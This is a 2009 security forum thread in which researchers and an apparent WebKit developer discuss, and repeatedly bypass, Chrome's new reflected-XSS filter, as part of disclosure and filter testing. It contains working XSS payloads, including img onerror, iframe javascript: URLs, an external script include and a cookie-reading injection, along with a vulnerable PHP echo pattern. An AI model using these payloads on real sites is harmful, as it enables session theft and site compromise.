Taking IE8's lead, it seems, Chrome is getting a set of it's own XSS filters: http://www.h-online.com/security/Chrome-adds-new-defence-for-cross-site-scripting-attacks--/news/114220 .

Apparently the scope of what's trying to be blocked is smaller and it doesn't look like they've adopted a neutering strategy yet, according to http://groups.google.com/group/chromium-dev/browse_thread/thread/d2931d7b670a1722/d56bdfccfcef677f?pli=1

Yep - came in via the Ubuntu package sources this morning. The article u linked claims the following:

Quote

that checks each script before it executes to check if the script appears in the request that generated the page. Should it find a match, the script will be blocked.

That seems to be true. But have a look at the view-source: "version" of the testes pages. I dunno if this is really reliable but Chrome seems to do some strange concatenations here.

Meh - broke it :) Where was the bug tracker again j/k?

<img%00%20src=x%20onerror=alert(1)//

I also broke it, with

<script src="http://ha.ckers.org/xss.js?

anyway, apparently they'll do a full page block when they detect attacks, that could reduce IE8 alike attacks

Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Nup - they don't. I thought that too for a sec ;) If they did it were quite evil since you could probably DoS websites depending on JS.

They are thinking on doing the full page block.. and I agree with their idea, why not?

How would a DoS attack work?

I send you a link, you enter, and you see "someone is trying to hack you", and that's it?

I can't think on anything you can do with this that you can't do with an <img src=.. already (a single request), since the full page block wouldn't be persistent.

Am I missing something?

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Actually I think you are right. I had some cookie based attacks in memory where websites were DoSsed from remote by cookie injections. In this case a full page block should be okay. It's a matter of communication though.

haha, if they use google analytics you can DoS them anyway

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

That still works?

Of course it works :)
http://google.sirdarckcat.net/?v=http://www.php-ids.org/
http://google.sirdarckcat.net/?v=http://demo.php-ids.org/

Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat



Edited 2 time(s). Last edit at 09/14/2009 04:13AM by sirdarckcat.

Doh...

"that checks each script before it executes to check if the script appears in the request that generated the page. Should it find a match, the script will be blocked."

That means that it only catches non-persistent XSS, right?

I've looked at the webkit filter in Safari and it pretty much sucked. Didn't last long when I was testing it. From what I know it doesn't even use RegExps and I think this is implemented in Chrome using the one from Webkit

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

@Albino: Yep

yeah, sucks..

http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ciframe%20src=%22data:text/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat



Edited 1 time(s). Last edit at 09/14/2009 08:48PM by sirdarckcat.

> Meh - broke it :) Where was the bug tracker again j/k?

Thanks! Please let us know about any bypasses you find. The bug tracker is at https://bugs.webkit.org/. Please CC me at my handle at webkit.org.

> <img%00%20src=x%20onerror=alert(1)//

We know about this issue and have been thinking about what the best fix is:

https://bugs.webkit.org/show_bug.cgi?id=27895

Yeah, Gareth sent us a bunch of great bypasses as we were working on the filter.

> http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ciframe%20src=%22data:text/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

This doesn't actually do much interesting because in WebKit data URLs run with null privileges. Try alerting document.cookie or parent.document.cookie.

@abarth, that means WONTFIX?

anyway, bypassed

http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ciframe+src=%22javascript:'1%25251';alert(document.domain)%22%3E

Greetings!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat



Edited 1 time(s). Last edit at 09/14/2009 11:59PM by sirdarckcat.

@abarth No panic - I planned to but wanted to wait after the BruCon this weekend. Will contact you afterwards - there's more.

Oh my, let me look into my crystal xss ball right now... cloudy..cloudy..no...cloudy.. yes! it shows a thread with at least 28 pages!

Where are the unicode guys at, or for starters: base64. that one is always forgotten.

sirdarckcat Wrote:
-------------------------------------------------------
> They are thinking on doing the full page block..
> and I agree with their idea, why not?


Why should they, if they can just stop executing JS with preventDefault or something similar. It doesn't break the page, it just overrules that current JS thread, and blocks the JS before it gets executed e.g. removed from the thread pool. A full page block sounds ridiculous for more than one reason. Imagine you got a stored XSS that triggers it on a homepage of Microsoft or GMail, then no Chrome user can access it anymore.

> @abarth, that means WONTFIX?

Which, the data URL thing? There actually code that specifically allows that case. Is there some reason we should block it?

> anyway, bypassed

Ah, that's a good one. I though we had a test for that, but I guess not. Thanks.

@abarth: Charset conversions are not handled right as it seems - and can be used to init the real payload. Will I get a cookie for this? ;)

<img%20src=ä%20onerror=alert('ä')> // alerts ä on a ISO-8859-1 encoded site

Optional slashes are handled right meanwhile - good to see ;)

@mario: Yeah, that's an interesting case. I don't quite understand what's going on there. It seems dependent on both of those characters. If you remove either one, the filter blocks the script. I'll have to look in a debugger to see what's going on.

Do you want a chocolate chip or a peanut butter cookie? :)

By the way, I've created a bug for these bypasses here:

https://bugs.webkit.org/show_bug.cgi?id=29278

If you're interested in tracking our progress fixing them, feel free to CC yourself. If you'd like to contribute a patch, even better. :)

@rvdh
> Imagine you got a stored XSS that triggers it on a homepage of Microsoft or GMail, then no Chrome user can access it anymore.

Can you explain that attack? I don't get what you mean. Remember the filter onyl protects against reflected xss.

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Ah okay, I was under the impression that it worked on both stored as well as reflected. I don't have chrome couldn't test, so it's very similar to MSIE's filter I suppose.

On a side note, sometimes I come across reflected XSS that is echoed back inside JavaScript, e.g. for some AJAX, or page trackers, of something else, and it then only requires a single quote and a semicolon to execute new JS in that page, like:

www.example.com/index.php?param=A'; document.write(document.cookie); var v='

Where the js code can be:

<script>
var bar  = 'something';
var foo = '<?=$_GET[param];?>';
</script>

I've seen such schemes plenty of times, even last week in a popular video upload site. One might want to be wary that this is a possibility too, albeit not more common than regular breaking-out-of-html-tags vectors.

/rvdh



Edited 1 time(s). Last edit at 09/16/2009 12:17AM by rvdh.

yeah, chrome's is not as good as IE's :) hopefully in a couple of months

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

firefox sucks! it keeps crashing on linux!! so I decided to use chrome.

and guess what.. bypassed again.

http://eaea.sirdarckcat.net/xss.php?html_xss=<script>alert(1);/*%3c%21%2d%2d

its not funnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn, in noscript I made the 15 minutes promise of finding a bypass, here I make the 150 seconds promise haha...

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat